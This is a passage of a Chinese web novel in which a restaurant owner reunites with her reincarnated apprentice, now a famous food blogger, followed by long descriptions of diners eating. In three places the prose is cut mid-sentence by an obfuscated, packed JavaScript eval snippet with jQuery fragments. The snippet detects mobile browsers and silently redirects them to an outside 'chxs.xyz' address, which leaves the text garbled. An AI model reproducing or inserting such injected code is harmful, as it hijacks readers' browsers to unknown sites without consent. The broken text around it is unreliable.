和美食平台账号一样，头像是五层的古风小楼，江云枫会心一笑。 江云枫点击添加好友时，备注了“我是江云枫”几个字，激动地吸了口气，点了发送。 预想中，徒弟应该是秒通过申请，然后师徒相认，眼泪汪汪，然而等了半天，却没有通过。 也许是言亦轩太忙了？应该就是太忙了吧。 江云枫没多想，把手机放一边，开始算今天的营业额。 有了几个美食博主的宣传加持，这几天的营业额一直保持在2000元左右，按照这个速度，再过两天，去掉成本的净利润就能达到8000元，还完这个月的房贷了。 每天堆积成山的螃蟹、牛蹄筋都会消耗一空，第二天一大早就要去菜市场进货。 为了省时省力，江云枫选了菜品比较优质的几个摊贩，每天约定好订菜量，还拿到了优惠价格。 不过这些摊贩都是个体户，没法送菜到店，万磊现在选菜技能已经非常成熟，江云枫让他办了健康证，而后非常放心地把检查菜品质量、送菜到店的任务交给了他。 而且现在每天营业额攀升，给万磊、李博鸿、林若雪开工资也不会捉襟见肘了，她还把几个人的时薪提高了一些，今天下午还把欠姜小麦的钱一次性还清了。 江云枫算完帐，轻松地舒了一口气，账本上的三笔帐都已还清，经济压力没了，她现在考虑，给江家小酒馆物色一个地段好的新店面。 想着想着，江云枫睡着了。 再睁开眼，是第二天早上七点。 睡饱了觉后，自然醒特别舒服，江云枫洗漱完毕，遛完啊呜，把它放回家，而后动身前往江家小酒馆。 路上，江云枫看了眼手机，言亦轩还是没有通过她的好友申请。 “奇怪，这小子是还没起吗？”江云枫嘟哝着，转过小巷最后一个路口，却见一个熟悉的身影，站在店门口的树下。 “言亦轩？”江云枫浑身一震。 第一反应是激动，她终于和徒弟打照面了。 第二反应是尴尬，似乎昨天她还装作自己不存在，现在让徒弟抓包了。 “你喊谁？谁叫言亦轩？”言亦轩抱着胳膊轻哼一声，左右看着身边。 才早上七点多，隔壁杂货店都没开门，门前除了阳光，就只剩下他们两个人了。 “嗯？”江云枫有点懵。 “哟，你还知道我叫言亦轩啊，你叫什么名字？你应该不叫江云枫吧？你叫江若雪？”言亦轩阴阳怪气的，声音却是弱弱的。 “哈哈哈，呃。”江云枫噎了一下，“你什么时候发现的？我还以为自己躲得挺好的。” “你觉得我不认识你写的小楷，还是尝不出你做的菜？昨天我就怀疑你应该在这里，今天来蹲点终于确认了。”言亦轩说着说着，眼睛开始发红，眨眨眼睛，睫毛变得湿漉漉的。 “怎么，收了新徒弟了？老徒弟直接扔垃圾桶？” “没有没有，这辈子还没收徒弟，徒弟第一顺位还是你。昨天是想了解你不知道是我做菜，怎么评价我的水平。”江云枫既想笑，眼前又蒙起薄泪，语气跟哄小孩似的，拍了拍他的肩膀，“师父错了，以后不逗你了。” “呵，这还差不多。”言亦轩听到她道歉，冷笑了一声，视线移到一边，嘴角却不自觉地扬起。 江云枫暗想，徒弟还是这么好哄，鼻息间发出轻笑，拿出钥匙开了江家小酒馆的门：“进屋说吧。” 她以为言亦轩在背后老实等着，刚进门却听到了消息提示音，拿出手机一看，言亦轩通过了她的好友申请。 “合着昨天你不是没看到，是生闷气啊。”江云枫笑着把灯按开，进厨房把水烧上。 “是啊。”言亦轩撇撇嘴，很自然地去厨房找抹布，沾湿了水又拧干，自然得像是从没离开过江家小酒馆，“不过现在不生气了。” 阳光斜照进大堂，江云枫煮开水，又炖上鸡汤，言亦轩用抹布把每张桌子擦得铮亮，就像以前在大梁的每一个早上。 两人一边干活，一边聊着近况。 上辈子言亦轩比江云枫早十年去世，去世后他就穿越回了现代一个二十出头、同名同姓同长相的人身上，那人是个厨师。 言亦轩从穿越来的那刻起，就在寻找江云枫，还有江家小酒馆认识的所有人，然而一无所获。 他凭借着江云枫教的高超厨艺，很快在厨师界小有名气，也赚到了不少钱。 现在十年过去，他已经32岁，赚够了钱功成身退，做个账号没事点评一下美食，因为专业和毒舌，也成了拥有百万粉丝的大博主。 “可以，徒弟真有出息，出师了。”江云枫心满意足地笑着夸赞，喝了一口热茶。 “那还是没出师的。”言亦轩左手轻敲着桌面，“我回来给你帮厨吧。” “百万粉丝博主给我打下手啊，有点受不起。”江云枫呵呵笑着开玩笑道。 “师父！才十年不见就这么生分？”言亦轩嗔怪地一跺脚，“我不管，我就要来。” “行行行，你来你来。”最近店里正忙不过来，江云枫还愁找不到厨艺好的帮手，“送上门来的劳动力哪能不用呢，工资按你以前的开。” “徒弟，干活儿吧。”江云枫也不客气，从菜筐里捞了个橙子，随手丢给他，“看看厨艺退步没，先做个蟹酿橙。” “没问题！”言亦轩稳稳接住橙子，喜笑颜开。 - “姜医生！姜医生！” 姜小麦正往江家小酒馆走，听到背后有人喊自己，转头一看，是打扮精致，拎着小手包的杨曼文。 “姜医生这是去江家小酒馆吃饭？”杨曼文自来熟地挽着她的胳膊。 “是啊，上次吃完羊肉汤，就念念不忘。”姜小麦把披散的长发撩到耳后。 “我吃完那个栗子糕，也是想来。”杨曼文笑着拍拍她的手，“上午发在群里的那个新品羊方藏鱼你看到没？” “看到了，可馋人呢，那个新出的罗汉素面和桂花烤奶看着也不错。”姜小麦舔了舔嘴唇。 “哎呀！咱们俩想吃的都一样，正好拼一桌，搭个伙儿！”杨曼文笑意盈盈。 “行啊！” 两人到店，杨曼文点了上次馋却没吃到的古法羊羹配小饼，姜小麦点了罗汉素面， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856785|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人又一起点了罗汉素面和桂花烤奶。 食材很快上桌，杨曼文熟练地拿起手机，开始拍照：“诶呀，真是艺术品，香喷喷的，卖相又好看。” “这桂花烤奶还在咕嘟咕嘟冒泡呢。”姜小麦指着那小陶罐，里面金黄色的液体，还在温热地翻腾。 “太香了，咱们开吃吧！”杨曼文把手包放在一边，迫不及待拿起筷子，“这个羊方藏鱼闻着真鲜啊。” 杨曼文夹起一片羊方藏鱼。 那羊排包裹着鱼肉，卷得很紧实，又在浓浓的酱汁里焖煮过，羊肉和鱼肉简直融为了一体。 她咬上一口，肉层里吸饱的汤汁，浅浅溢出来，滋润了唇舌。 羊肉的香，浓郁，醇厚；鱼肉的鲜，嫩滑，清润。两者结合在一起，让舌头都感觉到了轻盈。 “嗯——”杨曼文陶醉地拖起长腔，“诶呀，鲜得很嘞，香味在舌头上滑滑梯！” “我也尝尝。”姜小麦夹起一块羊方藏鱼，因为夹得急，差点从筷子上滑脱，好在她赶紧捏紧筷子，要不然掉到桌子上，怕是要捶胸顿足半天，再偷偷捡回来。 咬上一口，外层的羊肉很紧实，羊肉外部带着些粗糙的纹理，内部又很嫩滑，包裹着的鱼肉，则是完全的酥烂，嘴唇用力，就能将鱼肉碾碎。 羊肉和鱼肉的鲜味聚在一起，这一口堪称是精华，再加上似有若无的椒香和甘蔗甜味，让姜小麦惬意地眯起了眼睛。 “我终于明白，【鲜】字为什么是【鱼】和【羊】组成的了，真是鲜美。”姜小麦细嚼着。 姜小麦吃了两块羊方藏鱼，才将视线收回罗汉素面上。 面在碗中堆叠整齐，上层的浇头很丰富，有香菇片、笋片、黑木耳、杏鲍菇片、胡萝卜丁，还窝着煮浮囊的面筋球，全部都被酱成了深色。 姜小麦夹起浇头一一尝过，每种食材都是从外到内，被酱汁充分入味。 笋片外脆内软，嚼起来汁水充沛，咸香正够味，香菇片、杏鲍菇片和黑木耳都是嫩嫩滑滑的，前两者还有丰富的菌菇香气，胡萝卜丁的甜加上酱的咸味，味道很美妙。 那咸中带了几分鲜甜的汤汁，也浸入了汤里，姜小麦卷起一筷子面，送入口中。 面条爽滑，一吸便顺溜入口，少量的酱汁让这面既带了咸味，又因少量的甜味变得很鲜，一口下肚，味道不重，但却温热舒爽。 “素的也蛮好吃的欸。”姜小麦用筷子指指自己的面，又夹起一块面筋球。 那面筋球吸饱了酱汁，变得软软的，吃一口很是多汁，还有面筋的拉扯感。 “尝尝这个桂花烤奶，做下午茶最合适了。”杨曼文给姜小麦倒了一杯桂花烤奶，又将自己喝空的杯子满上。 “干杯。”姜小麦端起杯子。 “干杯~”杨曼文伸出自己的杯子，杯壁碰撞，发出一声脆响。 那金黄色的桂花烤奶左摇右晃，被两人喝入口中。 桂花香气和红茶香，既在舌尖萦绕，又在口中四溢，清甜的滋味在舌尖久久不散。 杨曼云咂了咂舌：“来到这里，什么生活的疲惫都没了，真好。” - 罗晴和男友季铭哲，都是【品味溪川】美食账号的忠实粉丝，平时言亦轩探店到哪家店，给了好评，两人就必去打卡。 平时只是小夸一下的店，两个吃货就风风火火去了，更别说这个被言亦轩夸了整整8分钟的江家小酒馆。 “幸好咱们来得早啊，你看外面都排队了。”两人落座后点了菜，季铭哲看向门外，已经排起了五六十人的长队。 “能被言亦轩夸的店，大家肯定得来瞧瞧，到底多好吃啊。”罗晴庆幸自己来得早有位置。 没多久，言亦轩端着餐盘出来，将两人点的饭菜放在桌上：“菜齐了，请慢用。” 言亦轩说完，转身回了厨房，两个人却默契地对视一眼，齐齐转头看向他的背影。 “你觉不觉得，刚才那个声音有点耳熟？”罗晴压低声音讲道。 “是很耳熟啊，那不是言师傅的声音吗？......”季铭哲激动起来。 26. 罗汉素面 “真的！就是言亦轩的声音！”这会儿言亦轩在厨房讲话，罗晴侧耳细听，确定两人没判断错。 季铭哲有些不解：“他昨天才发的探店，今天就在这里当厨师了？他这样的大博主，还这么挑剔，怎么肯屈尊来这里当厨师啊？” “可能大博主无聊了想工作一下吧，要么就是这家饭馆真的很不一般，他看中了这家潜力股。”罗晴分析道。 “不管怎么说，先拍个照。”季铭哲在言亦轩出来上菜时，拍了他的侧影，发在了美食平台上，“给大家看看我见到百万博主真人了。” “真别说，还有点小帅。”罗晴瞧着言亦轩，他眉目周正，短发利落又干净。 “帅什么帅，哪儿有你男朋友我帅。”季铭哲“啧啧啧”摆手，“快吃饭吧。” 点菜时，季铭哲特意讲了，酱牛肉不用切片，切成大块就好。 这会儿，两指厚的超厚酱牛肉，堆在米饭上，汤汁浸润了米饭。 羊方藏鱼放在桌子正中间，鱼头和鱼尾炸焦后酱过，金黄色之上，裹了一层浓稠的棕色挂汁。 罗晴面前的是一碗罗汉素面，深棕色的浇头带着酱香，汤面上飘着淡淡的油花，面如银丝，整齐得好像梳过。 三道菜放在桌上，单单是看着就让人赏心悦目，更不用提这浓厚的牛羊肉香气了。 “哧”的一声，罗晴拉开可乐拉环，喝了两大口。 可乐的气儿很足，细密的泡沫攀上舌头，强烈的刺激感人让舌尖麻麻的，口中满是甜蜜。 “这牛肉真不错嘿。”一大块牛肉塞在季铭哲嘴里，鼓鼓囊囊的，三两下嚼碎，只觉得牛肉细嫩，又不塞牙。 牛肉的每一寸，都被浓厚的酱汁包裹，细细咀嚼，肉汁渗出，满口浓香。 “我也想吃。”罗晴盯着那大块的肉，很是嘴馋。 “你吃。”季铭哲夹了一块放在她碗里。 “哇，好烫。”罗晴刚夹起肉往嘴里送，就感觉到了新出锅肉块的烫口，“呼呼”吹凉，才再次送入口中。 温热的肉块在舌头上翻滚，在齿缝间嚼碎，肉汁莹润唇舌。 “真香啊......” 酱牛肉先打开了两人的味蕾，罗晴在罗汉素面的浇头里，率先选了笋片夹起来。 那笋片完全被酱汁浸透，咸中带甜，非常多汁，每一口都是爽脆。 “这个浇头真是鲜。”罗晴又细嚼着香菇，那香菇非常鲜爽滑嫩，像是在舌头上滑滑梯。 几口浇头吃下，罗晴暗暗觉得，这素面的风味，并不比肉食差。 筷子卷起那细细的面丝，拉扯起来，面条筋道地浮出汤面，罗晴“呼呼”吹了两口，白色的热气从面条上散出。 凉到合适的温度，罗晴咬住面，轻轻一吸入口。 汤底是鸡汤熬的，没有加更多的调料，一股清澈而浓香的鸡汤味，带来最干净质朴的香。 汤中还混了一些浇头汤汁，咸中带着一抹甜，反而显得更鲜了。 “呼——没想到一碗素面也能这么好吃。”罗晴一口接着一口吸溜着面，简直停不下来。 "诶，你之前吃面不是不喜欢喝汤的吗？"季铭哲看到罗晴吹着汤面，而后贴着碗边大口喝汤，有些诧异。 “那是因为之前吃到的面，汤底都不好喝，就是盐味，但这个面，汤是真的香，鸡汤味道特别浓郁。”罗晴享受着温热鸡汤流过喉咙的治愈感，胃里都是暖暖的。 “让我也尝一口。”季铭哲伸手要碗。 “不给，你想喝汤，自己再点一碗面。”罗晴用胳膊圈住碗，继续大口喝汤。 “切~小气。” 季铭哲收回手，用勺子将酱牛肉汤汁和米饭搅拌均匀，夹了块酱牛肉在米饭上，一整口送进嘴里。 肉和浸满汤汁的米饭，一同塞满口腔，这样的幸福感简直难以形容。 肉丝破碎，牛肉香味在口中释放，米饭软糯，汤汁的香味四溢。 “诶，舒服。” 趁着两口饭的间隙，季铭哲感慨了一下，又夹了一筷子羊方藏鱼。 羊排八分瘦两份肥，两面煎得焦香后，又和鱼肉同焖，这一口，略带煎香的羊肉气儿，又有鱼汤清冽的香味。 再往里嚼，细嫩的鱼肉更是柔软地化在舌尖，味道妙不可言。 “怪不得言亦轩花了好几分钟夸这个羊方藏鱼，真是好吃啊。”季铭哲眼睛都亮了，“鲜，真是鲜，感觉味蕾都在跳动。” “我尝尝！”罗晴闻声伸出筷子，夹了一块羊方藏鱼。 深棕色的羊肉包裹白嫩的鱼肉，卷成了紧实的卷儿，从切面看，就格外诱人。 罗晴一次咬下半口，鱼肉和羊肉一同在口中咀嚼，香出了新高度。 “不是，这么香的吗？”罗晴吃了一口，就觉得这香味在嘴里久久不散，“每一道菜都好好吃啊！真没想到这看似不起眼的小饭馆，能做菜香到这种地步！” “言师傅精选，那必须有水准啊。”季铭哲竖起大拇指，“这下我知道了，为什么他肯来这里工作，天天吃这么好吃的东西，要说能多活几年都没问题。” “你说的对，这家小饭馆真是潜力股，说不准过几年能火成什么样子！” - 对言亦轩来江家小酒馆工作而感到惊讶的，不止罗晴和季铭哲，最先惊讶的是林若雪和李博鸿。 见到两人之前，江云枫原本打算和言亦轩商量着，以老板和新员工相称，无奈言亦轩总是本能地喊她“师父师父”的，之后不经意间肯定会说漏嘴。 可是这辈子言亦轩已经三十出头，江云枫才二十出头，而且江云枫之前做菜并不好吃，街坊邻居是知道的，她没法说之前两人就是师徒。 要想以师徒相称，唯一合理的解释是，言亦轩被江云枫的手艺折服，拜了她为师。 “好吧，这也是所有不合理的理由中，看似最合理的一个了。”江云枫扶额。 他们约好后，也是这么告诉李博鸿和林若雪的，一整个上午，两人都在消化这个震惊的消息。 之前江云枫说言亦轩是熟人，林若雪还以为有点夸张的成分，没想到真是熟人，而且一天时间，就从百万粉丝博主，变成在江云枫的徒弟。 李博鸿之前对【品味溪川】也略有耳闻，他也没想到这么一个大博主放着广告不接，来这小饭馆打工，拜一个比自己小十岁的人为师。 不过两人仔细一回味江云枫做的菜，又觉得没什么不合理的，这么美味的菜，让人折服又是应该的。 “李同学刀工其实还不错，只备菜有点可惜了。”言亦轩一边做菜，一边观察着李博鸿对所有菜品的处理，肯定道。 有言亦轩帮忙，江云枫终于有时间歇一下，喘口气，她放松地倚靠在厨房门边，咬了口苹果，打趣道：“你有什么想法？要不要也收他为徒？” “李同学，你觉得呢？”江云枫又转头问李博鸿。 “我......我倒是挺愿意学东西，不过师徒有点太正式了......”李博鸿听说过言亦轩的挑剔，可不想让兼职变得像考试。 “确实太正式了也不好。”言亦轩赞同道，“就当是个小培训吧，从简单的学起，能学多少是多少。” “没问题，谢谢......谢谢言老师。”李博鸿认真地点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864801|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “跟着言老师好好学，言老师水平可很不错呢。”江云枫打趣道，言亦轩听到这话，虽然依旧面无表情，却明显看得出眼神中闪过一丝得意。 见林若雪来厨房端菜，江云枫又问她要不要跟着言亦轩一起学。 “我对做菜不是很感兴趣，就不学了，我喜欢看别人做菜，为你们加油！”林若雪抱着餐盘摇摇头，抿嘴笑着做了个“加油”的手势。 “那咱们就从煎鱼开始。”言亦轩在锅里打着圈倒油，先炒香料，再将片成两半的鱼放入锅中。 软塌塌的鱼肉，在热油呲呲啦啦的响声中，变焦变硬，鱼肉边缘微微卷起，呈现出诱人的金黄色。 清润的鱼香，混合着热油香气，袅袅升起。 李博鸿在一旁认真看着，记忆步骤。 江云枫欣慰一笑，看着自己的徒弟作为老师教别人，总是幻视几十年前她教徒弟的样子，时光荏苒，熟悉的人还在身边，让她觉得很安心。 - 自从上次发的美食视频，意外作为助眠视频火了之后，桑瑶决定以后就做美食助眠方向了。 今天她又来江家小酒馆吃饭，这会儿已经吃完，录好了像。 桑瑶戴上耳机，点开录好的视频，浏览检查。 指腹敲击盘子，是闷闷的“笃笃”声。 热乎乎的桂花烤奶，刚上桌时，还被收音很好的话筒，收录了“咕嘟咕嘟”的沸腾声音。 羊方藏鱼搭配的鱼头鱼尾，嚼起来微微焦脆，“咔滋咔滋”的细碎破裂声音，非常清楚。 牙齿撕咬肉块的声音闷闷的，咀嚼时，又能听出肉块的多汁。 金灿灿的桂花烤奶，顺滑入喉是“吨吨吨”的声音，喝罢，还有一小声“哈”的舒适叹息。 视频检查完毕后，桑瑶点击了发送视频，没一会儿，一条条评论出现在视频下。 【这个金黄金黄的饮料是什么啊？看着就好好喝，要我肯定喝到停不下来。】 【本来闭着眼呢，听到这嚼肉的声音这么多汁，睡不着了，这是什么饭馆啊？】 【楼上的，博主标注了，是江家小酒馆。】 【错误的时间刷到了对的视频，这个羊肉一看就好次！等我马上打车就去次！】 【这种秋冬天气，吃着香喷喷的羊肉夹鱼肉，喝着温温热热的桂花奶茶，不敢想有多幸福！】 【诶？江家小酒馆？今天讨论度第一的话题就是这家店啊！不是说那个大美食博主言亦轩，直接到店里打工了吗？】 “啊？”桑瑶看到最后一条评论，睁大眼睛坐直身体，搜索起热一话题。 #百万粉丝美食博主在小饭馆当牛马#的话题出现在眼前。 “这哪个营销号想的话题，真服了。”桑瑶笑喷了。 江云枫只在需要搜索东西时，才会用手机，平时都是不怎么看手机的，还是林若雪刷到了这个话题，告诉江云枫的。 话题配的图，就是季铭哲发的言亦轩侧影，还有另外几个粉丝也发现了言亦轩，录下了他的声音，才让大家把言亦轩的照片和【品味溪川】账号的声音匹配上。 “哎哟，说得我好像奴隶主一样。”江云枫哭笑不得，“百万粉丝美食博主，您怎么看？” 言亦轩故作深沉地用食指和拇指摸索下巴：“嗯......虽然并没有当牛马的感觉，不过如果师父需要有人当牛马，我也很乐意。” “诶别，我还是挺良心的老板，不要坏我名声。”江云枫知道他在一本正经地胡说八道，笑着摆手，“好多粉丝都在问是什么情况呢，大美食博主，您这边给粉丝们客观回应一下吧？” 27. 松鼠鲑鱼 “我这就回。”言亦轩闻声，把手中煮面的工作交给李博鸿，反复洗了三次手，拿纸擦干，才拿起手机。 言亦轩点进话题，翻了翻热门的几条动态，是有人通过他的声音，辨别出了身份。 话题下没有什么过分的话，大多网友都是玩梗，惊讶于这样一个大博主，竟然放着轻松接广告的挣钱方式不干，而去小饭馆打工。 穿越到现代十年的时间，言亦轩已经能够很熟练地打字，他捏着下巴思考了一会儿，打开自己的美食平台账号，认认真真一字一字打下一段话，检查了三遍后，发了出去。 “回应一下热一话题：江家小酒馆的江老板是我多年故交，如今拜服她的厨艺，我拜他为师。没有当牛马，只是每天在做喜欢的事。朋友们若是想尝到师父和我的拿手好菜，可以来江家小酒馆品味。地址是.....” 由于带了最热的话题，言亦轩这边刚发出去，评论就不断增长。 【拜师！好传统的说法，看来这个江老板真是不一般，能让言亦轩都甘愿低她一头。】 【言亦轩这么挑剔的人还能留下，这小饭馆的味道得多好吃啊！】 【之前我看到有人拍过这个江老板，人美又惊艳，还有种说不出的霸气在，而且才二十出头，竟然就能给人当师父了，不敢想这厨艺有多精湛。】 【我连吃江家小酒馆的饭半个月了，江老板真的值得，说她有国宴大师水准都不为过！言老师真是眼光毒辣，这么快就占下了大弟子的名额。】 【你们看看这家店这么多好吃的，谁能忍得住不留在这里啊？（螃蟹小饺.jpg）（排骨炖土豆.jpg）（古法羊肉羹.jpg）（蜜煎藕.jpg）】 【楼上的别发图了，好馋啊！我看言老师侧脸还有点小帅，这地址离我家不远，晚上下班就去！】 【听说言亦轩很多年不做菜了，真好奇他的手艺。有没有组队去看言师傅的？咱们搭个伙儿啊！】 【我去我去！】 【我也去！+1！】 江云枫看了言亦轩回应的内容，看到前半段有点动容，而后半段直接丝滑变成江家小酒馆的广告，又让她觉得有点好笑。 不过真正让江云枫觉得有点意思的，是评论区对言亦轩厨艺的质疑。 “我看有不少人质疑，你点评别人的时候毒舌，不知道你自己做菜时，是惊为天人还是会翻车。”江云枫读着评论。 “厨艺我一天也没放下过。”言亦轩听到这话，没有被质疑的气愤，反而眼神发亮，“他们尽管来吃，师父放心，不会给你丢脸的。” 江云枫看到他的眼神，就知道他跟自己一样，都被激起了胜负欲，她欣慰于徒弟这么多年没怎么变：“那你准备做什么菜？” 言亦轩看着菜单，没几秒种就胸有成竹：“就做师父你教我的第三道菜，松鼠鲑鱼吧。” “好啊。”江云枫听到这儿一愣，没想到他还记得这是教他的第三道菜。 那时候言亦轩还是矮江云枫一头的毛头小子，把鱼块放进锅里时，被滋起来的热油吓得滋哇乱叫，还是江云枫满脸无奈地一漏勺把鱼铲起来，才让他安静下来。 后来言亦轩学会了这道菜，但小酒馆上新的菜品众多，不同菜品分给了不同的厨师做，他倒是很少再做了。 “正好有鲑鱼，我现在就做。”言亦轩视线在墙角装鱼的防水箱停顿住，捞了条活蹦乱跳的鲑鱼出来。 “行，我看看你的手艺。”江云枫笑道，这一整天言亦轩都在做炒菜，还没展现过硬菜的实力。 言亦轩翻转刀背，快准狠地把鱼拍晕，去内脏，鱼头切断，鱼身横着切成两片，直到鱼尾切断前停住。 李博鸿在旁边看得一愣一愣的：“言老师，你这切鱼的手法好厉害啊，这么干脆......而且确实很有江老板做菜的影子。” 在李博鸿眼中，言亦轩和江云枫做菜手法都跟带着风似的。 有些不同的是，言亦轩虽然也厉害，但有种谨慎劲儿在，熟练但是不放松。 江云枫却达到了人刀合一的境界，动作随意又松弛，无论切菜炒菜，看似随手一做，可刀都落在该落的地方，调味料的剂量、火候的掌握分毫不差。 “小言老师这么多年，刀工不减。”江云枫微笑着调侃。 言亦轩用横刀，三两下将鱼骨、零碎的鱼刺片出，剩下的都是没刺的鱼肉，而后斜着整齐下刀，触及鱼皮即收刀。 横竖切过，将两大片鱼提起来，鱼肉呈现网格状裂开，却没有和鱼皮分离，像一小挂鞭炮一样。 “这么厉害！”来厨房端菜的林若雪震惊了。 “言老师这才用到了往常五分的实力。”江云枫左手比划了个“五”，林若雪的眼神更崇拜了，言亦轩虽然没讲话，背过身嘴角却压也压不住。 锅里热上大半锅的油，言亦轩用筷子试了试油温，将裹满了干粉变得雪白的鱼肉和鱼头，缓缓放入油锅中，大量细密的油泡瞬间涌了出来，不仅包裹了鱼，还把整个锅都填满了。 和小时候不一样，言亦轩没有任何害怕的反应，动都没动。 鱼肉炸过，捞出时已经定型了，金黄金黄的，每一小块鱼肉都饱满而支棱。 炒制好的酱汁添加了番茄汁、笋丁、香菇丁、萝卜丁和青豆，勾芡之后格外浓稠，淋在炸好的鱼肉上，跟画画上色似的，让整条鱼染上鲜亮的橙红色。 那汤汁从鱼肉顶上淋入，顺着每个刀口的凹槽慢慢流下，看着格外诱人。 “师父，您先尝尝吧。”言亦轩将盘子放在江云枫面前，毕恭毕敬地双手奉上筷子。 江云枫点头，接过筷子，又转头看向李博鸿和林若雪：“你们也来吃点吧。” 那鱼头和鱼尾都朝天扬着，中间的鱼身像是松果一样，有层层叠叠的井字形纹路，每个网格中的鱼肉，都大块又饱满，而且每块大小都差不多，看着整齐又舒服。 “又有好吃的了！”林若雪迅速拿了筷子和碗，李博鸿也抽了双筷子，激动地搓手。 江云枫夹起一块鱼肉，筷子稍用力，一块肉就脆脆地从鱼皮上脱离下来。 吹一吹，送入口中。 那鱼肉上裹着一层刚淋的挂汁，莹润入口，是酸酸甜甜的味道。鱼肉的外壳炸酥了，一咬便“咔滋”碎裂开。 外壳薄厚适当，不会因为太薄没有酥感，又不会因为太厚而油腻难嚼。 恰到好处的油香，被酸甜口的挂汁综合，好吃而不腻。 内里的鱼肉嫩滑而多汁，因为被黄酒和盐腌制得很到位，咸淡正合适，毫无腥味，只有清淡的香气。 “手艺不减当年。”江云枫慢嚼着点头，言亦轩脸上泛起淡淡的微笑。 “但是醋可以少放小半勺，多加一点甜味咸味在菜里都不是很明显，但是多加一点点酸，口感都会很不一样。”江云枫又补充道。 言亦轩闻言，认真起来，也拿了双筷子，夹了一口细品，认同地点头：“师父你说得对，我记得了。” 李博鸿一筷子接着一筷子吃，听到两人的对话，震惊道：“你们真是专业，我只觉得很好吃，尝不出什么多加了酸少加了甜，就是很香很香的鱼肉味啊。” “我也尝不出，只能尝得出鱼肉外焦里嫩，酸酸甜甜，香喷喷的，嘿嘿。”林若雪吃了一大口鱼肉，又舔了舔嘴边的糖醋汁。 “你们两个真可爱。”江云枫看着两人大口大口吃东西的样子，脸上浮起微笑。 “我今天终于明白，师父你之前为什么喜欢投喂徒弟了。”言亦轩看着他们鼓着腮帮子咀嚼，幻视养小仓鼠。 厨房里传来一阵欢笑声。 “这点油倒是不要浪费了。”言亦轩看着那一大锅炸过鱼的油，“正好有了鱼肉味，再做个鱼香茄子好了。” - 言亦轩推出的新菜是松鼠鲑鱼和鱼香茄子，这个消息不胫而走，来江家小酒馆的言亦轩粉丝很快都知道了。 “诶呦，终于排到座位了，里面真暖和。”蒋秀秀一屁股坐在凳子上，摘下围巾。 “是啊，估计好多都和我们一样，是来看言亦轩的。”何芷燕搓搓手，跺了跺站麻的脚，屋里散发着浓郁的香味，比外面暖和多了。 蒋秀秀和何芷燕原本不认识，都是看了那个跟言亦轩相关的热搜，在网上约好了结伴来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868728|158240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “那松鼠鲑鱼和鱼香茄子就是必点的了，对吧？”蒋秀秀问道。 “对，再要点主食吧，我要一份板栗腊味饭。”何芷燕指了指腊味饭，“你呢，你吃什么？” “我看别人晒的图，有泡在羊肉汤里的小饼子，就要三个小饼子吧。”蒋秀秀冲林若雪比划着。 今天林若雪格外忙碌，除了点菜，还要跟店内的食客讲，来看言亦轩可以，就是不要拍照了，影响大家吃饭，好在大部分人很听劝。 江云枫和言亦轩也时不时出来帮忙上菜、收碗盘。 言亦轩给蒋秀秀和何芷燕上菜的整个过程里，两个人眼睛都亮亮的，盯着他的一举一动，他走之后，蒋秀秀和何芷燕激动地对视，凑在一起小声耳语：“真的好帅啊！” “有种追星成功的感觉哈哈哈！”两人花痴片刻，注意力很快就被桌上的饭菜吸引了。 腊味饭粒粒分明，棕色的饭粒泛着油光，栗子饱满，闻上去是甜甜的香味。 小饼子整体雪白，两面煎得焦焦的，面饼的香味很是清新。 那松鼠鲑鱼用了一个大盘子盛，很是夺目，整个鱼身像一颗巨大的松果，颗颗饱满的鱼肉整齐排布。 明亮而鲜艳的橙红色汤汁，均匀地覆盖每一寸鱼肉，虽然整道菜是炸过再浇汁的，盘中的汤汁却不见油花，看着也不油腻。 不用凑近，那炸物的油香，以及酸酸甜甜的汤汁味，就混合着袭来，直击两人的味蕾。 “哇......这个鱼肉真香......”蒋秀秀凑近，深吸了一口气，鼻尖都被湿漉漉的香味浸染。 “哎，你别说，这茄子也是真有鱼肉味。”何芷燕一指旁边的鱼香茄子。 那茄子块块软榻，堆积成山，浓稠的酱汁填满茄子的缝隙，油亮亮的，顶上还撒了一撮白色的细葱丝，红白对比，很是好看。 “开吃吧！尝尝言师傅的手艺怎么样！”何芷燕已经忍不住动筷子了。 她先夹起离自己最近的茄子，那茄子软趴趴地瘫在筷子上，却没有破碎。 送入口中，浓郁的豆瓣香气率先袭来，开胃的糖醋味紧跟其上，嚼一嚼，茄子外侧带着点韧劲儿，内里是软脓的，被热油激发后，茄香味特别浓。 慢慢细品，能感觉到一种似有若无的鱼肉香。 “好吃啊！而且很妙的是，这茄子里没有鱼肉，却能吃出鱼肉味，简直是把素菜做成了荤菜！”何芷燕说着，直接用勺子舀了两勺茄子，连带着汤汁，一同拌进腊味饭里。 